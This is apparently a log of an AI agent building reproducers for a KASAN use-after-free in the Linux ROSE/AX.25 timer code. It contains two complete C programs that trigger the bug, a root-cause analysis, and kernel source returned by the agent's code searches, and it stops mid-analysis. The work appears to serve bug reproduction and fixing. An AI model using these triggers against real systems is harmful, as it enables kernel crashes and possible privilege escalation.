9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```
Feedback: The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame.

An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```

gemini-3.1-pro-preview

							input: 12048
							output: 24
							thoughts: 303
						

**My Analysis of a Potential ROSE/AX.25 Vulnerability**

Okay, so we've got a setup, a probe, and a plan. We're looking to exploit a vulnerability, and here's the current strategy: first, we bring up an AX.25 device, `ax0`, with `mkiss`. Then, we get the default ROSE device, `rose0`, up and running, giving it a hardware address. The plan then dictates messing with some ROSE sysctl values, setting `clear_request_timeout` and `restart_request_timeout`. We'll set them to `1000` and `2000`, respectively. Next, we make a ROSE socket and `bind` it to `rose0`. After that, we add a ROSE route that points to `ax0`. This is where it gets interesting – we call `connect()` on the socket, but in non-blocking mode. *Then*, immediately, we're deleting that route, and we `close()` the socket. The final step is to wait for 3 seconds. The theory is that this should allow the `t3timer` to free the neighbor after one second, and the `t0timer` to trigger the UAF after two seconds.

But hold on a second. Aren't those `/proc/sys/net/rose` sysctl values in *tenths* of a second, or milliseconds? I need to clarify that because that fundamentally changes the timing. Better double-check. I could check the source file `net/rose/sysctl_net_rose.c`, but there's a better way to ensure I get this right. I'm going to search using `codesearch-definition-source` or `grepper` and double-check those sysctl values to ensure I fully understand the units being used.

map[Expression:sysctl_rose_clear_request_timeout]

map[Output:include/net/rose.h=174=extern int  sysctl_rose_reset_request_timeout;
include/net/rose.h:175:extern int  sysctl_rose_clear_request_timeout;
include/net/rose.h-176-extern int  sysctl_rose_no_activity_timeout;
--
net/rose/af_rose.c=51=int sysctl_rose_reset_request_timeout   = ROSE_DEFAULT_T2;
net/rose/af_rose.c:52:int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
net/rose/af_rose.c-53-int sysctl_rose_no_activity_timeout     = ROSE_DEFAULT_IDLE;
--
net/rose/af_rose.c=546=static int rose_create(struct net *net, struct socket *sock, int protocol,
--
net/rose/af_rose.c-579-	rose->t2   = msecs_to_jiffies(sysctl_rose_reset_request_timeout);
net/rose/af_rose.c:580:	rose->t3   = msecs_to_jiffies(sysctl_rose_clear_request_timeout);
net/rose/af_rose.c-581-	rose->hb   = msecs_to_jiffies(sysctl_rose_ack_hold_back_timeout);
--
net/rose/sysctl_net_rose.c=24=static struct ctl_table rose_table[] = {
--
net/rose/sysctl_net_rose.c-53-		.procname	= "clear_request_timeout",
net/rose/sysctl_net_rose.c:54:		.data		= &sysctl_rose_clear_request_timeout,
net/rose/sysctl_net_rose.c-55-		.maxlen		= sizeof(int),
]

gemini-3.1-pro-preview

							input: 13250
							output: 24
							thoughts: 36
						

Okay, here's my interpretation of those thoughts, tailored for an expert audience:

**Analyzing Sysctl and Timeout Parameters**

Alright, so the core of understanding these sysctl values hinges on recognizing that they're likely represented in milliseconds. I'm inferring this because the code mentions `msecs_to_jiffies` which heavily implies a millisecond timescale. That's a crucial piece of the puzzle. Now, let me just double-check that assumption, especially in the context of something like `restart_request_timeout`. It's always best to be precise, rather than assume a global convention, right? The precise unit has significant implications for how we'd interpret and tune any associated system behavior. I want to confirm that msec is what is meant.

map[Expression:sysctl_rose_restart_request_timeout]

map[Output:include/net/rose.h=171=extern ax25_address rose_callsign;
include/net/rose.h:172:extern int  sysctl_rose_restart_request_timeout;
include/net/rose.h-173-extern int  sysctl_rose_call_request_timeout;
--
net/rose/af_rose.c=47=static int rose_ndevs = 10;
net/rose/af_rose.c-48-
net/rose/af_rose.c:49:int sysctl_rose_restart_request_timeout = ROSE_DEFAULT_T0;
net/rose/af_rose.c-50-int sysctl_rose_call_request_timeout    = ROSE_DEFAULT_T1;
--
net/rose/rose_link.c=44=static void rose_start_t0timer(struct rose_neigh *neigh)
--
net/rose/rose_link.c-49-	neigh->t0timer.expires  =
net/rose/rose_link.c:50:		jiffies + msecs_to_jiffies(sysctl_rose_restart_request_timeout);
net/rose/rose_link.c-51-
--
net/rose/sysctl_net_rose.c=24=static struct ctl_table rose_table[] = {
--
net/rose/sysctl_net_rose.c-26-		.procname	= "restart_request_timeout",
net/rose/sysctl_net_rose.c:27:		.data		= &sysctl_rose_restart_request_timeout,
net/rose/sysctl_net_rose.c-28-		.maxlen		= sizeof(int),
]

gemini-3.1-pro-preview

							input: 13907
							output: 44
							thoughts: 103
						

**Understanding the `rose_route_struct` Timeouts**

Okay, so I'm dealing with these timeout values, and it's crystal clear they're using milliseconds. That makes things straightforward. I can see now that setting `/proc/sys/net/rose/clear_request_timeout` to 1000 really translates to a 1-second timeout. Similarly, `/proc/sys/net/rose/restart_request_timeout` at 2000 translates to 2 seconds. Simple enough. Now, I need to refresh my memory on the specifics of the `rose_route_struct` definition. Let me dig into that...

map[ContextFile:include/uapi/linux/rose.h IncludeLines:true Name:rose_route_struct]

map[SourceCode:  66:	struct rose_route_struct {
  67:		rose_address	address;
  68:		unsigned short	mask;
  69:		ax25_address	neighbour;
  70:		char		device[16];
  71:		unsigned char	ndigis;
  72:		ax25_address	digipeaters[AX25_MAX_DIGIS];
  73:	};
 SourceFile:include/uapi/linux/rose.h]

gemini-3.1-pro-preview

							input: 14335
							output: 43
							thoughts: 315
						

**Analyzing the `rose_route_struct` and AX.25 Routing**

Okay, so I'm looking at this `rose_route_struct`. It has the expected members: `ndigis` and the `digipeaters`, which is standard. In this minimal C reproducer, I see they're setting up a `rose_route_struct` and populating it. Now, it looks like they're setting the first byte of the Rose address to 2 and then setting the mask to 5. Okay, that's fine. Then they're populating the neighbour with an AX.25 callsign, shifted left by 1 bit, as expected. They're also setting the device name. And finally, they're using `ioctl(rsock, SIOCADDRT, &route)` to add the route.

But hold on a second... `route.mask = 5;`... is that even a *valid* mask value? I'm pretty sure it's the right place for it, but I need to be sure. Let me go check the `rose_add_node` function in `net/rose/rose_route.c`. I need to verify how that mask is interpreted. I'm going to look for any logic related to validating or interpreting the `mask` field. That will give me a proper answer to its validity.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_add_node]

map[SourceCode:  47:	/*
  48:	 *	Add a new route to a node, and in the process add the node and the
  49:	 *	neighbour if it is new.
  50:	 */
  51:	static int __must_check rose_add_node(struct rose_route_struct *rose_route,
  52:		struct net_device *dev)
  53:	{
  54:		struct rose_node  *rose_node, *rose_tmpn, *rose_tmpp;
  55:		struct rose_neigh *rose_neigh;
  56:		int i, res = 0;
  57:	
  58:		spin_lock_bh(&rose_node_list_lock);
  59:		spin_lock_bh(&rose_neigh_list_lock);
  60:	
  61:		rose_node = rose_node_list;
  62:		while (rose_node != NULL) {
  63:			if ((rose_node->mask == rose_route->mask) &&
  64:			    (rosecmpm(&rose_route->address, &rose_node->address,
  65:				      rose_route->mask) == 0))
  66:				break;
  67:			rose_node = rose_node->next;
  68:		}
  69:	
  70:		if (rose_node != NULL && rose_node->loopback) {
  71:			res = -EINVAL;
  72:			goto out;
  73:		}
  74:	
  75:		rose_neigh = rose_neigh_list;
  76:		while (rose_neigh != NULL) {
  77:			if (ax25cmp(&rose_route->neighbour,
  78:				    &rose_neigh->callsign) == 0 &&
  79:			    rose_neigh->dev == dev)
  80:				break;
  81:			rose_neigh = rose_neigh->next;
  82:		}
  83:	
  84:		if (rose_neigh == NULL) {
  85:			rose_neigh = kmalloc_obj(*rose_neigh, GFP_ATOMIC);
  86:			if (rose_neigh == NULL) {
  87:				res = -ENOMEM;
  88:				goto out;
  89:			}
  90:	
  91:			rose_neigh->callsign  = rose_route->neighbour;
  92:			rose_neigh->digipeat  = NULL;
  93:			rose_neigh->ax25      = NULL;
  94:			rose_neigh->dev       = dev;
  95:			rose_neigh->count     = 0;
  96:			rose_neigh->dce_mode  = 0;
  97:			rose_neigh->loopback  = 0;
  98:			rose_neigh->number    = rose_neigh_no++;
  99:			rose_neigh->restarted = 0;
 100:			refcount_set(&rose_neigh->use, 1);
 101:	
 102:			skb_queue_head_init(&rose_neigh->queue);
 103:	
 104:			timer_setup(&rose_neigh->ftimer, NULL, 0);
 105:			timer_setup(&rose_neigh->t0timer, NULL, 0);
 106:	
 107:			if (rose_route->ndigis != 0) {
 108:				rose_neigh->digipeat =
 109:					kmalloc_obj(ax25_digi, GFP_ATOMIC);
 110:				if (rose_neigh->digipeat == NULL) {
 111:					kfree(rose_neigh);
 112:					res = -ENOMEM;
 113:					goto out;
 114:				}
 115:	
 116:				rose_neigh->digipeat->ndigi      = rose_route->ndigis;
 117:				rose_neigh->digipeat->lastrepeat = -1;
 118:	
 119:				for (i = 0; i < rose_route->ndigis; i++) {
 120:					rose_neigh->digipeat->calls[i]    =
 121:						rose_route->digipeaters[i];
 122:					rose_neigh->digipeat->repeated[i] = 0;
 123:				}
 124:			}
 125:	
 126:			rose_neigh->next = rose_neigh_list;
 127:			rose_neigh_list  = rose_neigh;
 128:		}
 129:	
 130:		/*
 131:		 * This is a new node to be inserted into the list. Find where it needs
 132:		 * to be inserted into the list, and insert it. We want to be sure
 133:		 * to order the list in descending order of mask size to ensure that
 134:		 * later when we are searching this list the first match will be the
 135:		 * best match.
 136:		 */
 137:		if (rose_node == NULL) {
 138:			rose_tmpn = rose_node_list;
 139:			rose_tmpp = NULL;
 140:	
 141:			while (rose_tmpn != NULL) {
 142:				if (rose_tmpn->mask > rose_route->mask) {
 143:					rose_tmpp = rose_tmpn;
 144:					rose_tmpn = rose_tmpn->next;
 145:				} else {
 146:					break;
 147:				}
 148:			}
 149:	
 150:			/* create new node */
 151:			rose_node = kmalloc_obj(*rose_node, GFP_ATOMIC);
 152:			if (rose_node == NULL) {
 153:				res = -ENOMEM;
 154:				goto out;
 155:			}
 156:	
 157:			rose_node->address      = rose_route->address;
 158:			rose_node->mask         = rose_route->mask;
 159:			rose_node->count        = 1;
 160:			rose_node->loopback     = 0;
 161:			rose_node->neighbour[0] = rose_neigh;
 162:	
 163:			if (rose_tmpn == NULL) {
 164:				if (rose_tmpp == NULL) {	/* Empty list */
 165:					rose_node_list  = rose_node;
 166:					rose_node->next = NULL;
 167:				} else {
 168:					rose_tmpp->next = rose_node;
 169:					rose_node->next = NULL;
 170:				}
 171:			} else {
 172:				if (rose_tmpp == NULL) {	/* 1st node */
 173:					rose_node->next = rose_node_list;
 174:					rose_node_list  = rose_node;
 175:				} else {
 176:					rose_tmpp->next = rose_node;
 177:					rose_node->next = rose_tmpn;
 178:				}
 179:			}
 180:			rose_neigh->count++;
 181:			rose_neigh_hold(rose_neigh);
 182:	
 183:			goto out;
 184:		}
 185:	
 186:		/* We have space, slot it in */
 187:		if (rose_node->count < 3) {
 188:			rose_node->neighbour[rose_node->count] = rose_neigh;
 189:			rose_node->count++;
 190:			rose_neigh->count++;
 191:			rose_neigh_hold(rose_neigh);
 192:		}
 193:	
 194:	out:
 195:		spin_unlock_bh(&rose_neigh_list_lock);
 196:		spin_unlock_bh(&rose_node_list_lock);
 197:	
 198:		return res;
 199:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 17238
							output: 41
							thoughts: 535
						

**Analyzing the rose_route Structure and its Usage**

Okay, so I'm looking at this `rose_route.mask` and how it relates to `rose_node->mask`. Seems like `rose_route.mask` is a number of digits, up to 10. A value of `5` is perfectly valid, no issues there.

Let's double-check the definition of `rose_route_struct` just to be sure. Alright, here it is:

```c
struct rose_route_struct {
	rose_address	address;
	unsigned short	mask;
	ax25_address	neighbour;
	char		device[16];
	unsigned char	ndigis;
	ax25_address	digipeaters[AX25_MAX_DIGIS];
};
```

And remembering from the code, `AX25_MAX_DIGIS` is defined as `8`.

```c
#define AX25_MAX_DIGIS 8
```

Therefore, the size of `struct rose_route_struct` comes out to be 5 bytes (for `rose_address`) + 2 bytes (for `mask`) + 7 bytes (for `ax25_address`) + 16 bytes (for `device`) + 1 byte (for `ndigis`) + 8 * 7 bytes (for `digipeaters`) = 87 bytes total.

Now, looking at the minimal C reproducer, I see this:

```c
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
```

So `route.address.rose_addr[0] = 2;` makes sense, but let's just confirm what `rose_address` is.

```c
typedef struct {
	char		rose_addr[5];
} rose_address;
```

Ah, right, `rose_address` is 5 bytes. So, `route.address.rose_addr[0] = 2;` is perfectly within bounds.

Okay, now let's see what happens with `rose_connect` in `net/rose/af_rose.c`...

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_connect]

map[SourceCode: 768:	static int rose_connect(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len,
 769:				int flags)
 770:	{
 771:		struct sock *sk = sock->sk;
 772:		struct rose_sock *rose = rose_sk(sk);
 773:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 774:		unsigned char cause, diagnostic;
 775:		ax25_uid_assoc *user;
 776:		int n, err = 0;
 777:	
 778:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 779:			return -EINVAL;
 780:	
 781:		if (addr->srose_family != AF_ROSE)
 782:			return -EINVAL;
 783:	
 784:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 785:			return -EINVAL;
 786:	
 787:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 788:			return -EINVAL;
 789:	
 790:		/* Source + Destination digis should not exceed ROSE_MAX_DIGIS */
 791:		if ((rose->source_ndigis + addr->srose_ndigis) > ROSE_MAX_DIGIS)
 792:			return -EINVAL;
 793:	
 794:		lock_sock(sk);
 795:	
 796:		if (sk->sk_state == TCP_ESTABLISHED && sock->state == SS_CONNECTING) {
 797:			/* Connect completed during a ERESTARTSYS event */
 798:			sock->state = SS_CONNECTED;
 799:			goto out_release;
 800:		}
 801:	
 802:		if (sk->sk_state == TCP_CLOSE && sock->state == SS_CONNECTING) {
 803:			sock->state = SS_UNCONNECTED;
 804:			err = -ECONNREFUSED;
 805:			goto out_release;
 806:		}
 807:	
 808:		if (sk->sk_state == TCP_ESTABLISHED) {
 809:			/* No reconnect on a seqpacket socket */
 810:			err = -EISCONN;
 811:			goto out_release;
 812:		}
 813:	
 814:		if (sk->sk_state == TCP_SYN_SENT) {
 815:			err = -EALREADY;
 816:			goto out_release;
 817:		}
 818:	
 819:		sk->sk_state   = TCP_CLOSE;
 820:		sock->state = SS_UNCONNECTED;
 821:	
 822:		rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
 823:						 &diagnostic, 0);
 824:		if (!rose->neighbour) {
 825:			err = -ENETUNREACH;
 826:			goto out_release;
 827:		}
 828:	
 829:		rose->lci = rose_new_lci(rose->neighbour);
 830:		if (!rose->lci) {
 831:			err = -ENETUNREACH;
 832:			rose_neigh_put(rose->neighbour);
 833:			goto out_release;
 834:		}
 835:	
 836:		if (sock_flag(sk, SOCK_ZAPPED)) {	/* Must bind first - autobinding in this may or may not work */
 837:			struct net_device *dev;
 838:	
 839:			sock_reset_flag(sk, SOCK_ZAPPED);
 840:	
 841:			dev = rose_dev_first();
 842:			if (!dev) {
 843:				err = -ENETUNREACH;
 844:				rose_neigh_put(rose->neighbour);
 845:				goto out_release;
 846:			}
 847:	
 848:			user = ax25_findbyuid(current_euid());
 849:			if (!user) {
 850:				err = -EINVAL;
 851:				rose_neigh_put(rose->neighbour);
 852:				dev_put(dev);
 853:				goto out_release;
 854:			}
 855:	
 856:			memcpy(&rose->source_addr, dev->dev_addr, ROSE_ADDR_LEN);
 857:			rose->source_call = user->call;
 858:			rose->device      = dev;
 859:			netdev_tracker_alloc(rose->device, &rose->dev_tracker,
 860:					     GFP_KERNEL);
 861:			ax25_uid_put(user);
 862:	
 863:			rose_insert_socket(sk);		/* Finish the bind */
 864:		}
 865:		rose->dest_addr   = addr->srose_addr;
 866:		rose->dest_call   = addr->srose_call;
 867:		rose->rand        = ((long)rose & 0xFFFF) + rose->lci;
 868:		rose->dest_ndigis = addr->srose_ndigis;
 869:	
 870:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 871:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 872:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 873:				rose->dest_digis[n] = full_addr->srose_digis[n];
 874:		} else {
 875:			if (rose->dest_ndigis == 1) {
 876:				rose->dest_digis[0] = addr->srose_digi;
 877:			}
 878:		}
 879:	
 880:		/* Move to connecting socket, start sending Connect Requests */
 881:		sock->state   = SS_CONNECTING;
 882:		sk->sk_state     = TCP_SYN_SENT;
 883:	
 884:		rose->state = ROSE_STATE_1;
 885:	
 886:		rose_write_internal(sk, ROSE_CALL_REQUEST);
 887:		rose_start_heartbeat(sk);
 888:		rose_start_t1timer(sk);
 889:	
 890:		/* Now the loop */
 891:		if (sk->sk_state != TCP_ESTABLISHED && (flags & O_NONBLOCK)) {
 892:			err = -EINPROGRESS;
 893:			goto out_release;
 894:		}
 895:	
 896:		/*
 897:		 * A Connect Ack with Choke or timeout or failed routing will go to
 898:		 * closed.
 899:		 */
 900:		if (sk->sk_state == TCP_SYN_SENT) {
 901:			DEFINE_WAIT(wait);
 902:	
 903:			for (;;) {
 904:				prepare_to_wait(sk_sleep(sk), &wait,
 905:						TASK_INTERRUPTIBLE);
 906:				if (sk->sk_state != TCP_SYN_SENT)
 907:					break;
 908:				if (!signal_pending(current)) {
 909:					release_sock(sk);
 910:					schedule();
 911:					lock_sock(sk);
 912:					continue;
 913:				}
 914:				err = -ERESTARTSYS;
 915:				break;
 916:			}
 917:			finish_wait(sk_sleep(sk), &wait);
 918:	
 919:			if (err)
 920:				goto out_release;
 921:		}
 922:	
 923:		if (sk->sk_state != TCP_ESTABLISHED) {
 924:			sock->state = SS_UNCONNECTED;
 925:			err = sock_error(sk);	/* Always set at this point */
 926:			goto out_release;
 927:		}
 928:	
 929:		sock->state = SS_CONNECTED;
 930:	
 931:	out_release:
 932:		release_sock(sk);
 933:	
 934:		return err;
 935:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 20962
							output: 43
							thoughts: 62
						

Here's my summary, as if I were thinking it:

**Digging into the ROSE Neighbor Acquisition**

Okay, so `rose_connect` is the function that initiates the connection, and I see it's calling `rose_get_neigh`. Right, that makes sense. It's gotta find a suitable neighbor to route through. Let's make sure I'm following the logic exactly.

The key line is:
```c
	rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
					 &diagnostic, 0);
```

So `rose_get_neigh` is returning a neighbor structure and assigning it to `rose->neighbour`. The arguments look to be: the source ROSE address (`&addr->srose_addr`), which is vital; pointers to `cause` and `diagnostic` variables which I assume are related to error reporting if the neighbor search fails, and a flag, set to 0, which I need to investigate in `rose_get_neigh`. Let's confirm my assumptions regarding these calls. Time to check `rose_get_neigh` and unpack what the logic is there.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_get_neigh]

map[SourceCode: 676:	/*
 677:	 *	Find a neighbour or a route given a ROSE address.
 678:	 */
 679:	struct rose_neigh *rose_get_neigh(rose_address *addr, unsigned char *cause,
 680:		unsigned char *diagnostic, int route_frame)
 681:	{
 682:		struct rose_neigh *res = NULL;
 683:		struct rose_node *node;
 684:		int failed = 0;
 685:		int i;
 686:	
 687:		if (!route_frame) spin_lock_bh(&rose_node_list_lock);
 688:		for (node = rose_node_list; node != NULL; node = node->next) {
 689:			if (rosecmpm(addr, &node->address, node->mask) == 0) {
 690:				for (i = 0; i < node->count; i++) {
 691:					if (node->neighbour[i]->restarted) {
 692:						res = node->neighbour[i];
 693:						rose_neigh_hold(node->neighbour[i]);
 694:						goto out;
 695:					}
 696:				}
 697:			}
 698:		}
 699:		if (!route_frame) { /* connect request */
 700:			for (node = rose_node_list; node != NULL; node = node->next) {
 701:				if (rosecmpm(addr, &node->address, node->mask) == 0) {
 702:					for (i = 0; i < node->count; i++) {
 703:						if (!rose_ftimer_running(node->neighbour[i])) {
 704:							res = node->neighbour[i];
 705:							rose_neigh_hold(node->neighbour[i]);
 706:							goto out;
 707:						}
 708:						failed = 1;
 709:					}
 710:				}
 711:			}
 712:		}
 713:	
 714:		if (failed) {
 715:			*cause      = ROSE_OUT_OF_ORDER;
 716:			*diagnostic = 0;
 717:		} else {
 718:			*cause      = ROSE_NOT_OBTAINABLE;
 719:			*diagnostic = 0;
 720:		}
 721:	
 722:	out:
 723:		if (!route_frame) spin_unlock_bh(&rose_node_list_lock);
 724:		return res;
 725:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 22079
							output: 42
							thoughts: 136
						

**Analyzing the `rose_get_neigh` Function and the Reproducer**

